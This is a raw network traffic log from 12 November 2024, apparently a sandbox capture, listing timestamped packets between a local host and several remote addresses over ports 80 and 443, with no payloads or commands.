Nov 12, 2024 08:30:41.851519108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851531982 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851541996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851543903 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851543903 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851612091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851624966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851634979 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851634979 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851641893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851653099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851670027 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851682901 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851694107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851697922 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851697922 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851730108 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851787090 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851866007 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851876974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851888895 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851901054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851912975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851917982 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851917982 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851917982 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851926088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851938009 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851943970 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851943970 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851957083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851969957 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851991892 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851994038 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.852005005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.852016926 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.852035999 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.852035999 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.852066040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.852066040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.858139992 CET	443	57105	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.858511925 CET	57105	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.858546019 CET	443	57105	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.859074116 CET	57105	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.859081030 CET	443	57105	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.906441927 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.911345005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.936008930 CET	443	57107	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.936470985 CET	57107	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.936496973 CET	443	57107	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.936928034 CET	57107	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.936935902 CET	443	57107	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.939677954 CET	443	57108	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.940150976 CET	57108	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.940177917 CET	443	57108	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.940535069 CET	57108	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.940540075 CET	443	57108	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.947479010 CET	443	57109	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.947793007 CET	57109	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.947807074 CET	443	57109	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.948173046 CET	57109	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.948179007 CET	443	57109	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.976699114 CET	443	57106	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.976919889 CET	443	57106	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.977009058 CET	57106	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.977065086 CET	57106	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.977082014 CET	443	57106	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.977093935 CET	57106	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.977098942 CET	443	57106	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.979840040 CET	57111	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.979882002 CET	443	57111	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.979964972 CET	57111	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.980113029 CET	57111	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.980128050 CET	443	57111	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.993474960 CET	443	57105	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.993546963 CET	443	57105	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.993674994 CET	57105	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.993714094 CET	57105	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.993732929 CET	443	57105	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.993746042 CET	57105	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.993752956 CET	443	57105	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.996144056 CET	57112	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.996177912 CET	443	57112	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.996285915 CET	57112	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.996437073 CET	57112	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.996448040 CET	443	57112	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.065922022 CET	443	57107	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.066035986 CET	443	57107	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.066103935 CET	57107	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.066143036 CET	57107	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.066159964 CET	443	57107	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.066171885 CET	57107	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.066176891 CET	443	57107	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.068192005 CET	57113	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.068229914 CET	443	57113	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.068389893 CET	57113	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.068510056 CET	57113	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.068527937 CET	443	57113	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.075000048 CET	443	57108	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.075023890 CET	443	57108	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.075056076 CET	443	57108	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.075082064 CET	57108	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.075099945 CET	57108	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.075265884 CET	57108	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.075280905 CET	443	57108	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.075292110 CET	57108	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.075297117 CET	443	57108	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.075674057 CET	443	57109	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.075737953 CET	443	57109	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.075941086 CET	57109	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.075970888 CET	57109	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.075970888 CET	57109	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.075984955 CET	443	57109	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.075994015 CET	443	57109	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.077408075 CET	57114	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.077426910 CET	443	57114	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.077637911 CET	57115	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.077665091 CET	57114	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.077672005 CET	443	57115	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.077785969 CET	57114	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.077796936 CET	443	57114	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.077806950 CET	57115	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.077933073 CET	57115	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.077948093 CET	443	57115	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.182142973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182193041 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182215929 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.182286024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182292938 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.182306051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182353020 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.182358027 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182373047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182408094 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.182408094 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.182408094 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.182418108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182429075 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182471991 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.182566881 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182578087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182589054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182600975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182615042 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182622910 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.182666063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.182666063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.182698965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182712078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182800055 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182811022 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182821035 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182837963 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.182837963 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.182842970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182856083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182868004 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182879925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182893991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.182898045 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.182898045 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183001041 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183001041 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183170080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183191061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183203936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183234930 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183234930 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183332920 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183345079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183358908 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183370113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183378935 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183413982 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183413982 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183546066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183557987 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183573961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183585882 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183599949 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183612108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183624983 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183657885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183657885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183657885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183718920 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183808088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183820009 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183830023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183841944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183852911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183865070 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183866024 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183877945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183887959 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183891058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.183906078 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.183957100 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.184061050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.184072018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.184109926 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.184143066 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.184196949 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.184216976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.184228897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.184254885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.184266090 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.184268951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.184281111 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.184293985 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.184297085 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.184305906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.184313059 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.184366941 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.184366941 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.299086094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299105883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299117088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299182892 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.299242973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299295902 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299305916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299343109 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.299374104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299385071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299401045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299412012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299441099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.299484015 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.299524069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299535036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299545050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299555063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299566984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299591064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.299591064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.299621105 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.299648046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.299727917 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.356961966 CET	443	57110	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:42.357245922 CET	57110	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:42.357287884 CET	443	57110	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:42.358283997 CET	443	57110	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:42.358350992 CET	57110	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:42.358632088 CET	57110	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:42.358695984 CET	443	57110	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:42.358841896 CET	57110	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:42.358850002 CET	443	57110	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:42.399209023 CET	57110	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:42.413284063 CET	443	57104	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:42.413306952 CET	443	57104	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:42.413341045 CET	443	57104	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:42.413373947 CET	57104	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:42.413393974 CET	443	57104	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:42.413403988 CET	57104	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:42.414215088 CET	57104	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:42.414225101 CET	443	57104	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:42.414288998 CET	57104	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:42.414366961 CET	443	57104	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:42.414397001 CET	443	57104	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:42.414443016 CET	57104	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:42.485373974 CET	443	57110	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:42.485397100 CET	443	57110	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:42.485452890 CET	57110	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:42.485466003 CET	443	57110	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:42.485627890 CET	57110	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:42.492798090 CET	57110	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:42.492825031 CET	443	57110	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:42.500540972 CET	57116	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:42.500586987 CET	443	57116	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:42.500638962 CET	57116	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:42.500925064 CET	57116	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:42.500931025 CET	443	57116	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:42.543854952 CET	57117	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:42.543884039 CET	443	57117	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:42.544492006 CET	57117	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:42.544775009 CET	57117	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:42.544780016 CET	443	57117	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:42.708012104 CET	443	57111	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.708479881 CET	57111	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.708493948 CET	443	57111	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.709057093 CET	57111	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.709063053 CET	443	57111	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.728892088 CET	443	57112	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.731045008 CET	57112	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.731070042 CET	443	57112	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.731483936 CET	57112	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.731488943 CET	443	57112	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.808831930 CET	443	57115	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.811847925 CET	57115	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.811872959 CET	443	57115	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.812449932 CET	57115	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.812453985 CET	443	57115	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.815979004 CET	443	57114	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.816589117 CET	57114	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.816600084 CET	443	57114	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.817034006 CET	57114	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.817038059 CET	443	57114	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.824160099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.824181080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:42.829102039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.829113960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:42.844441891 CET	443	57111	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.844501972 CET	443	57111	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.844558001 CET	57111	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.844701052 CET	57111	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.844701052 CET	57111	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.844712019 CET	443	57111	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.844719887 CET	443	57111	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.847606897 CET	57118	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.847644091 CET	443	57118	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.847764969 CET	57118	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.847918987 CET	57118	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.847932100 CET	443	57118	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.858956099 CET	443	57112	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.859029055 CET	443	57112	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.859093904 CET	57112	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.859225035 CET	57112	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.859225035 CET	57112	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.859241009 CET	443	57112	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.859249115 CET	443	57112	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.861717939 CET	57119	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.861752987 CET	443	57119	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.861872911 CET	57119	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.862076044 CET	57119	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.862087965 CET	443	57119	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.937895060 CET	443	57115	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.937936068 CET	443	57115	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.937985897 CET	443	57115	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.938040972 CET	57115	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.938471079 CET	57115	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.938484907 CET	443	57115	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.938496113 CET	57115	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.938500881 CET	443	57115	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.940989971 CET	57120	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.941046000 CET	443	57120	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.941119909 CET	57120	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.941482067 CET	57120	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.941495895 CET	443	57120	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.946563005 CET	443	57114	13.107.246.45	192.168.2.5
